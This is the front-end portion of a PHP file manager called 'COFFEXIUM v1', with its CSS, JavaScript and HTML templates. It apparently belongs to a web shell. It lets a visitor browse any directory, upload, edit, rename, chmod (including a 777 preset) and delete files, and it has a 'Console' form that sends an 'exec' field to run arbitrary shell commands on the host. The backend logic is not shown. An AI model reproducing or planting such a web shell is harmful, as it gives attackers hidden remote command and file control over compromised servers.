.upload-tab { padding: 8px 16px; cursor: pointer; border-radius: 6px; font-size: 13px; font-weight: 500; color: var(--text-muted); transition: all 0.2s; }
.upload-tab:hover { color: var(--text); }
.upload-tab.active { background: var(--accent); color: #2a1810; }
.upload-panel { display: none; }
.upload-panel.active { display: block; }
.modal { display: none; position: fixed; inset: 0; z-index: 100; background: rgba(0,0,0,0.7); backdrop-filter: blur(4px); align-items: center; justify-content: center; }
.modal.show { display: flex; }
.modal-content { background: var(--surface); border: 1px solid var(--border); border-radius: 12px; width: 450px; max-width: 90%; max-height: 90vh; overflow: auto; }
.modal-header { padding: 16px 20px; border-bottom: 1px solid var(--border); display: flex; align-items: center; justify-content: space-between; }
.modal-title { font-weight: 600; }
.modal-close { width: 32px; height: 32px; display: flex; align-items: center; justify-content: center; border-radius: 6px; cursor: pointer; color: var(--text-muted); transition: all 0.2s; }
.modal-close:hover { background: var(--surface-hover); color: var(--text); }
.modal-body { padding: 20px; }
.chmod-grid { display: grid; grid-template-columns: repeat(3, 1fr); gap: 12px; margin-bottom: 16px; padding: 20px 20px 0; }
.chmod-group { background: var(--bg); border: 1px solid var(--border); border-radius: 8px; padding: 14px; text-align: center; }
.chmod-group-label { font-size: 11px; font-weight: 600; text-transform: uppercase; letter-spacing: 0.5px; color: var(--text-muted); margin-bottom: 10px; }
.chmod-checkboxes { display: flex; justify-content: center; gap: 8px; }
.chmod-checkboxes label { font-size: 12px; cursor: pointer; }
.bulk-bar { display: none; gap: 12px; align-items: center; padding: 14px 18px; background: rgba(200,145,95,0.12); border: 1px solid rgba(200,145,95,0.32); border-radius: 8px; margin-bottom: 16px; }
.bulk-bar.show { display: flex; }
.bulk-count { color: var(--accent); font-weight: 600; margin-right: auto; }
@media (max-width: 768px) {
.file-table th:nth-child(3), .file-table td:nth-child(3),
.file-table th:nth-child(4), .file-table td:nth-child(4),
.file-table th:nth-child(5), .file-table td:nth-child(5),
.file-table th:nth-child(6), .file-table td:nth-child(6) { display: none; }
.input-group { flex-direction: column; }
}
</style>
<script>
function toggleSelectAll(cb) {
document.querySelectorAll('input[name="items[]"]').forEach(function(c){ c.checked = cb.checked; });
updateBulkActions();
}
function updateBulkActions() {
var checked = document.querySelectorAll('input[name="items[]"]:checked');
var bar = document.getElementById('bulk-actions');
var count = document.getElementById('selected-count');
if (checked.length > 0) { bar.style.display = 'flex'; count.textContent = checked.length + ' item(s) selected'; }
else { bar.style.display = 'none'; }
}
function switchUploadTab(id) {
document.querySelectorAll('.upload-panel').forEach(function(p){ p.classList.remove('active'); });
document.querySelectorAll('.upload-tab').forEach(function(t){ t.classList.remove('active'); });
document.getElementById(id + '-panel').classList.add('active');
document.getElementById(id + '-tab').classList.add('active');
}
function uploadFile() {
var fileInput = document.getElementById('upload_files');
var statusSpan = document.getElementById('upload_status');
if (!fileInput.files || fileInput.files.length === 0) {
statusSpan.textContent = "No file selected"; statusSpan.style.color = "var(--danger)"; return;
}
var file = fileInput.files[0];
var filename = file.name;
var currentDir = "<?= addslashes($_SESSION['current_dir']) ?>";
var scriptUrl = window.location.pathname;
statusSpan.textContent = "Uploading " + filename + ", please wait..."; statusSpan.style.color = "var(--accent)";
var reader = new FileReader();
reader.readAsBinaryString(file);
reader.onloadend = function(evt) {
var xhr = new XMLHttpRequest();
xhr.open("POST", scriptUrl + "?upload_file=" + encodeURIComponent(currentDir) + "&name=" + encodeURIComponent(filename), true);
XMLHttpRequest.prototype.mySendAsBinary = function(text) {
var data = new ArrayBuffer(text.length);
var ui8a = new Uint8Array(data, 0);
for (var i = 0; i < text.length; i++) { ui8a[i] = (text.charCodeAt(i) & 0xff); }
var blob;
if (typeof window.Blob == "function") { blob = new Blob([data]); }
else { var bb = new (window.MozBlobBuilder || window.WebKitBlobBuilder || window.BlobBuilder)(); bb.append(data); blob = bb.getBlob(); }
this.send(blob);
};
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
if (xhr.status == 200) {
statusSpan.textContent = "File " + filename + " uploaded successfully!"; statusSpan.style.color = "var(--success)";
setTimeout(function(){ location.reload(); }, 1000);
} else { statusSpan.textContent = "Upload failed: " + xhr.responseText; statusSpan.style.color = "var(--danger)"; }
}
};
xhr.mySendAsBinary(evt.target.result);
};
}
function openChmodModal(itemName, octalId) {
var modal = document.getElementById('chmodModal');
modal.classList.add('show'); modal.style.display = 'flex';
document.getElementById('chmodItem').value = itemName;
updateChmodDisplay(document.getElementById(octalId).value);
}
function closeChmodModal() {
var modal = document.getElementById('chmodModal');
modal.classList.remove('show'); modal.style.display = 'none';
}
function updateChmodDisplay(perms) {
perms = (perms || '0').toString().slice(-3);
document.getElementById('chmodOctal').value = perms;
var binary = (parseInt(perms, 8) || 0).toString(2);
while (binary.length < 9) { binary = '0' + binary; }
var ids = ['owner_read','owner_write','owner_execute','group_read','group_write','group_execute','other_read','other_write','other_execute'];
for (var i = 0; i < 9; i++) { document.getElementById(ids[i]).checked = binary[i] === '1'; }
}
function updateChmodFromCheckboxes() {
var ids = ['owner_read','owner_write','owner_execute','group_read','group_write','group_execute','other_read','other_write','other_execute'];
var binary = '';
for (var i = 0; i < 9; i++) { binary += document.getElementById(ids[i]).checked ? '1' : '0'; }
var octal = parseInt(binary, 2).toString(8);
while (octal.length < 3) { octal = '0' + octal; }
document.getElementById('chmodOctal').value = octal;
}
function setPresetChmod(p) { updateChmodDisplay(p); }
window.onclick = function(e) {
var modal = document.getElementById('chmodModal');
if (e.target == modal) { closeChmodModal(); }
};
// Auto-inject CSRF token into every POST form (defense in depth)
document.addEventListener('DOMContentLoaded', function() {
var token = document.querySelector('meta[name="csrf-token"]');
if (!token) return;
token = token.content;
document.querySelectorAll('form[method="post"]').forEach(function(form) {
if (!form.querySelector('input[name="_csrf_token"]')) {
var i = document.createElement('input');
i.type = 'hidden'; i.name = '_csrf_token'; i.value = token;
form.appendChild(i);
}
});
});
</script>
</head>
<body>
<div class="container">
<div class="header">
<div class="header-top">
<div class="logo">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<path d="M22 19a2 2 0 0 1-2 2H4a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h5l2 3h9a2 2 0 0 1 2 2z"/>
</svg>
<span class="logo-text">COFF<span>EXIUM</span> v1</span>
</div>
</div>
</div>
<?php if ($notification): ?>
<div class="alert alert-success">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M22 11.08V12a10 10 0 1 1-5.93-9.14"/><polyline points="22 4 12 14.01 9 11.01"/></svg>
<?= htmlentities($notification) ?>
</div>
<?php endif; ?>
<?php if ($errorMsg): ?>
<div class="alert alert-danger">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>
<?= htmlentities($errorMsg) ?>
</div>
<?php endif; ?>
<div class="card" style="margin-bottom: 20px;">
<div class="card-header">
<span class="card-title">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M22 19a2 2 0 0 1-2 2H4a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h5l2 3h9a2 2 0 0 1 2 2z"/></svg>
Navigate
</span>
</div>
<div class="card-body">
<form method="post" class="input-group">
<?= csrfField() ?>
<input type="text" name="goto" value="<?= htmlentities($currentDirectory) ?>" placeholder="Enter path..." style="flex: 1;">
<button class="btn btn-primary" type="submit">Go</button>
</form>
</div>
</div>
<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 16px; margin-bottom: 20px;">
<div class="card">
<div class="card-header">
<span class="card-title">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"/><polyline points="17 8 12 3 7 8"/><line x1="12" y1="3" x2="12" y2="15"/></svg>
Upload File
</span>
</div>
<div class="card-body">
<div class="upload-tabs">
<div id="standard-tab" class="upload-tab active" onclick="switchUploadTab('standard')">Standard</div>
<div id="advanced-tab" class="upload-tab" onclick="switchUploadTab('advanced')">Advanced</div>
</div>
<div id="standard-panel" class="upload-panel active">
<form method="post" enctype="multipart/form-data">
<?= csrfField() ?>
<div class="input-group">
<input type="file" name="upload">
<button class="btn btn-primary" type="submit">Upload</button>
</div>
</form>
</div>
<div id="advanced-panel" class="upload-panel">
<div class="input-group">
<input type="file" id="upload_files" name="upload_adv" multiple>
<button class="btn btn-primary" onclick="uploadFile(); return false;">Upload</button>
</div>
<p style="margin-top: 8px; font-size: 12px; color: var(--text-muted);">Status: <span id="upload_status">No file selected</span></p>
</div>
</div>
</div>
<div class="card">
<div class="card-header">
<span class="card-title">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 5v14M5 12h14"/></svg>
Create New
</span>
</div>
<div class="card-body">
<form method="post" class="input-group">
<?= csrfField() ?>
<input type="text" name="mk_file" placeholder="New file name..." style="flex: 1;">
<button class="btn btn-success" type="submit">File</button>
</form>
<form method="post" class="input-group">
<?= csrfField() ?>
<input type="text" name="mk_folder" placeholder="New folder name..." style="flex: 1;">
<button class="btn btn-success" type="submit">Folder</button>
</form>
</div>
</div>
</div>
<?php if ($fileToView && $viewContent !== null): ?>
<div class="card" style="margin-bottom: 20px;">
<div class="card-header">
<span class="card-title">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M1 12s4-8 11-8 11 8 11 8-4 8-11 8-11-8-11-8z"/><circle cx="12" cy="12" r="3"/></svg>
Viewing: <?= htmlentities($fileToView) ?>
</span>
<button type="button" class="btn btn-ghost btn-sm" onclick="location.href=location.pathname;">Close</button>
</div>
<div class="card-body">
<textarea readonly style="min-height: 300px; width: 100%; box-sizing: border-box;"><?= htmlentities($viewContent) ?></textarea>
</div>
</div>
<?php endif; ?>
<?php if ($fileToEdit !== null): ?>
<div class="card" style="margin-bottom: 20px;">
<div class="card-header">
<span class="card-title">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M11 4H4a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2v-7"/><path d="M18.5 2.5a2.121 2.121 0 0 1 3 3L12 15l-4 1 1-4 9.5-9.5z"/></svg>
Editing: <?= htmlentities($fileToEdit) ?>
</span>
</div>
<div class="card-body">
<form method="post">
<?= csrfField() ?>
<input type="hidden" name="edit_file" value="<?= htmlentities($fileToEdit) ?>">
<textarea name="content" style="min-height: 400px; width: 100%; box-sizing: border-box;"><?= htmlentities($fileContent) ?></textarea>
<div style="margin-top: 12px; display: flex; gap: 8px;">
<button class="btn btn-primary" type="submit">Save Changes</button>
<button type="button" class="btn btn-ghost" onclick="location.href=location.pathname;">Cancel</button>
</div>
</form>
</div>
</div>
<?php endif; ?>
<?php if ($commandAvailable): ?>
<div class="card" style="margin-bottom: 20px;">
<div class="card-header">
<span class="card-title">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
Console
</span>
</div>
<div class="card-body">
<form method="post" class="input-group" style="flex: 1;">
<?= csrfField() ?>
<input type="text" name="exec" placeholder="Enter command..." style="flex: 1;">
<button class="btn btn-success" type="submit">Execute</button>
</form>
<?php if ($commandResult): ?>
<div class="console" style="margin-top: 12px;"><?= htmlentities($commandResult) ?></div>
<?php endif; ?>
</div>
</div>
<?php endif; ?>
<form method="post" id="file-form">
<?= csrfField() ?>
<div class="bulk-bar" id="bulk-actions">
<span class="bulk-count" id="selected-count">0 selected</span>
<button type="submit" name="act_dl" class="btn btn-ghost" onclick="return confirm('Download selected items as archive?')">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"/><polyline points="7 10 12 15 17 10"/><line x1="12" y1="15" x2="12" y2="3"/></svg>
Download
</button>
<button type="submit" name="act_del" class="btn btn-danger" onclick="return confirm('Delete all selected items?')">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="3 6 5 6 21 6"/><path d="M19 6v14a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2V6m3 0V4a2 2 0 0 1 2-2h4a2 2 0 0 1 2 2v2"/></svg>
Delete
</button>
</div>
</form>
<div class="card">
<div class="card-header">
<span class="card-title">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M22 19a2 2 0 0 1-2 2H4a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h5l2 3h9a2 2 0 0 1 2 2z"/></svg>
Files
</span>
<form method="post" style="display:inline;">
<?= csrfField() ?>
<input type="hidden" name="goto" value="<?= htmlentities(dirname($currentDirectory)) ?>">
<button type="submit" class="btn btn-ghost"><svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><line x1="19" y1="12" x2="5" y2="12"/><polyline points="12 19 5 12 12 5"/></svg> Parent</button>
</form>
</div>
<table class="file-table">
<thead>
<tr>
<th style="width: 40px;"><input type="checkbox" onclick="toggleSelectAll(this)"></th>
<th>Name</th>
<th style="width: 100px;">Type</th>
<th style="width: 100px; text-align: right;">Size</th>
<th style="width: 150px;">Modified</th>
<th style="width: 90px; text-align: center;">Perms</th>
<th style="width: 230px; text-align: right;">Actions</th>
</tr>
</thead>
<tbody>
<?php foreach ($allItems as $item):
$fullPath = $currentDirectory . DIRECTORY_SEPARATOR . $item;
$realPath = validatePath($fullPath);
if ($realPath !== false) {
$isDirectory = @is_dir($realPath);
$canWrite = @is_writable($realPath);
$fileSize = $isDirectory ? 0 : @filesize($realPath);
$fileModTime = @filemtime($realPath);
$filePerms = @substr(sprintf('%o', @fileperms($realPath)), -4);
} else {
$isDirectory = @is_dir($fullPath);
$canWrite = false; $fileSize = 0; $fileModTime = 0; $filePerms = '????';
}
$md5item = md5($item);
$ext = strtolower(pathinfo($item, PATHINFO_EXTENSION));
$iconClass = $isDirectory ? 'folder' : 'file';
$iconHtml = $isDirectory
? '<svg viewBox="0 0 24 24"><path d="M22 19a2 2 0 0 1-2 2H4a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h5l2 3h9a2 2 0 0 1 2 2z"/></svg>'
: '<svg viewBox="0 0 24 24"><path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><polyline points="14 2 14 8 20 8"/></svg>';
if (!$isDirectory && $ext) { $iconHtml .= '<span class="ext">' . strtoupper($ext) . '</span>'; }
?>
<tr>
<td><input type="checkbox" name="items[]" form="file-form" value="<?= htmlentities($item) ?>" onclick="updateBulkActions()"></td>
<td>
<?php if ($itemToRename === $item): ?>
<form method="post" style="margin: 0; display: flex; gap: 8px; align-items: center;">
<?= csrfField() ?>
<input type="hidden" name="from_name" value="<?= htmlentities($item) ?>">
<input type="text" name="to_name" value="<?= htmlentities($item) ?>">
<button class="btn btn-primary btn-sm" type="submit">Save</button>
<button type="button" class="btn btn-ghost btn-sm" onclick="location.href=location.pathname;">Cancel</button>
</form>
<?php elseif ($itemToChmod === $item): ?>
<form method="post" style="margin: 0; display: flex; gap: 8px; align-items: center;">
<?= csrfField() ?>
<input type="hidden" name="set_perms" value="<?= htmlentities($item) ?>">
<input type="text" name="perm_val" value="<?= htmlentities($filePerms) ?>" maxlength="3" placeholder="755" style="width: 70px;">
<button class="btn btn-primary btn-sm" type="submit">Set</button>
<button type="button" class="btn btn-ghost btn-sm" onclick="location.href=location.pathname;">Cancel</button>
</form>
<?php else: ?>
<div class="file-name-cell">
<div class="file-icon <?= $iconClass ?>"><?= $iconHtml ?></div>
<?php if ($isDirectory): ?>
<a href="#" class="file-name" onclick="document.getElementById('nav-<?= $md5item ?>').submit(); return false;"><?= htmlentities($item) ?></a>
<form id="nav-<?= $md5item ?>" method="post" style="display: none;">
<?= csrfField() ?>
<input type="hidden" name="goto" value="<?= htmlentities($fullPath) ?>">
</form>
<?php else: ?>
<a href="#" class="file-name" onclick="document.getElementById('view-<?= $md5item ?>').submit(); return false;"><?= htmlentities($item) ?></a>
<form id="view-<?= $md5item ?>" method="post" style="display: none;">
<?= csrfField() ?>
<input type="hidden" name="show" value="<?= htmlentities($item) ?>">
</form>
<?php endif; ?>
</div>
<?php endif; ?>
</td>
<td><span class="file-meta"><?= $isDirectory ? 'Directory' : (getFileExtension($item) ?: 'File') ?></span></td>
<td style="text-align: right;"><span class="file-meta"><?= $isDirectory ? '—' : formatFileSize($fileSize) ?></span></td>
<td><span class="file-meta"><?= date('Y-m-d H:i', $fileModTime) ?></span></td>
<td style="text-align: center;">
<span class="perms <?= $canWrite ? 'writable' : 'readonly' ?>"><?= htmlentities($filePerms) ?></span>
<input type="hidden" id="currentPerms_<?= $md5item ?>" value="<?= htmlentities($filePerms) ?>">
</td>
<td>
<div class="actions">
<?php if (!$isDirectory): ?>
<form method="post" style="display: inline;">
<?= csrfField() ?>
<input type="hidden" name="modify" value="<?= htmlentities($item) ?>">
<button type="submit" class="btn btn-ghost btn-sm">Edit</button>
</form>
<?php endif; ?>
<form method="post" style="display: inline;">
<?= csrfField() ?>
<input type="hidden" name="rename_item" value="<?= htmlentities($item) ?>">
<button type="submit" class="btn btn-ghost btn-sm">Rename</button>
</form>
<button type="button" class="btn btn-ghost btn-sm" onclick="openChmodModal('<?= htmlentities($item) ?>', 'currentPerms_<?= $md5item ?>')">Chmod</button>
<form method="post" style="display: inline;">
<?= csrfField() ?>
<input type="hidden" name="get_file" value="<?= htmlentities($item) ?>">
<button type="submit" class="btn btn-ghost btn-sm">Download</button>
</form>
<form method="post" style="display: inline;" onsubmit="return confirm('Delete <?= htmlentities($item) ?>?');">
<?= csrfField() ?>
<input type="hidden" name="del_item" value="<?= htmlentities($item) ?>">
<button type="submit" class="btn btn-danger btn-sm">Delete</button>
</form>
</div>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
<!-- Chmod Modal -->
<div id="chmodModal" class="modal">
<div class="modal-content">
<div class="modal-header">
<span class="modal-title">Change Permissions</span>
<span class="modal-close" onclick="closeChmodModal()">×</span>
</div>
<form method="post">
<?= csrfField() ?>
<input type="hidden" id="chmodItem" name="set_perms" value="">
<div class="chmod-grid">
<div class="chmod-group">
<div class="chmod-group-label">Owner</div>
<div class="chmod-checkboxes">
<label><input type="checkbox" id="owner_read" onchange="updateChmodFromCheckboxes()"> R</label>
<label><input type="checkbox" id="owner_write" onchange="updateChmodFromCheckboxes()"> W</label>
<label><input type="checkbox" id="owner_execute" onchange="updateChmodFromCheckboxes()"> X</label>
</div>
</div>
<div class="chmod-group">
<div class="chmod-group-label">Group</div>
<div class="chmod-checkboxes">
<label><input type="checkbox" id="group_read" onchange="updateChmodFromCheckboxes()"> R</label>
<label><input type="checkbox" id="group_write" onchange="updateChmodFromCheckboxes()"> W</label>
<label><input type="checkbox" id="group_execute" onchange="updateChmodFromCheckboxes()"> X</label>
</div>
</div>
<div class="chmod-group">
<div class="chmod-group-label">Other</div>
<div class="chmod-checkboxes">
<label><input type="checkbox" id="other_read" onchange="updateChmodFromCheckboxes()"> R</label>
<label><input type="checkbox" id="other_write" onchange="updateChmodFromCheckboxes()"> W</label>
<label><input type="checkbox" id="other_execute" onchange="updateChmodFromCheckboxes()"> X</label>
</div>
</div>
</div>
<div class="modal-body">
<div style="margin-bottom: 16px; text-align: center;">
<input type="text" id="chmodOctal" name="perm_val" maxlength="3" style="width: 70px; text-align: center; font-family: 'JetBrains Mono', monospace;">
</div>
<div style="margin-bottom: 15px; display: flex; gap: 8px; flex-wrap: wrap;">
<button type="button" class="btn btn-ghost btn-sm" onclick="setPresetChmod('755')">755 (Default)</button>
<button type="button" class="btn btn-ghost btn-sm" onclick="setPresetChmod('644')">644 (File)</button>
<button type="button" class="btn btn-ghost btn-sm" onclick="setPresetChmod('777')">777 (All)</button>
</div>
<div style="display: flex; gap: 8px;">
<button type="submit" class="btn btn-primary">Apply Changes</button>
<button type="button" class="btn btn-ghost" onclick="closeChmodModal()">Cancel</button>
</div>
</div>
</form>
</div>
</div>
</body>
</html>